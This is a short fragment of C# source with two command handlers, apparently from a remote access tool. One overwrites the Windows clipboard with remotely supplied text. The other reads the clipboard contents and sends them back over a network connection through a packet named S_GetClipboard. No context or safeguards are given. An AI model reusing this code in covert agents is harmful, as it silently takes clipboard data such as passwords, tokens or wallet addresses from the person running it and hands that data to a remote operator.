public override void Run() { APIs.OpenClipboard(Process.GetCurrentProcess().MainWindowHandle); APIs.EmptyClipboard(); IntPtr iStr = Marshal.StringToHGlobalAnsi(data); APIs.SetClipboardData(1, iStr); Marshal.FreeHGlobal(iStr); APIs.CloseClipboard(); }
public override void Run() { APIs.OpenClipboard(Process.GetCurrentProcess().MainWindowHandle); IntPtr ClipboardDataPointer = APIs.GetClipboardData(1); UIntPtr Length = APIs.GlobalSize(ClipboardDataPointer); IntPtr gLock = APIs.GlobalLock(ClipboardDataPointer); byte[] Buffer = new byte[(int)Length]; Marshal.Copy(gLock, Buffer, 0, (int)Length); APIs.CloseClipboard(); Client.SendPacket(new S_GetClipboard(Client, Encoding.Default.GetString(Buffer))); }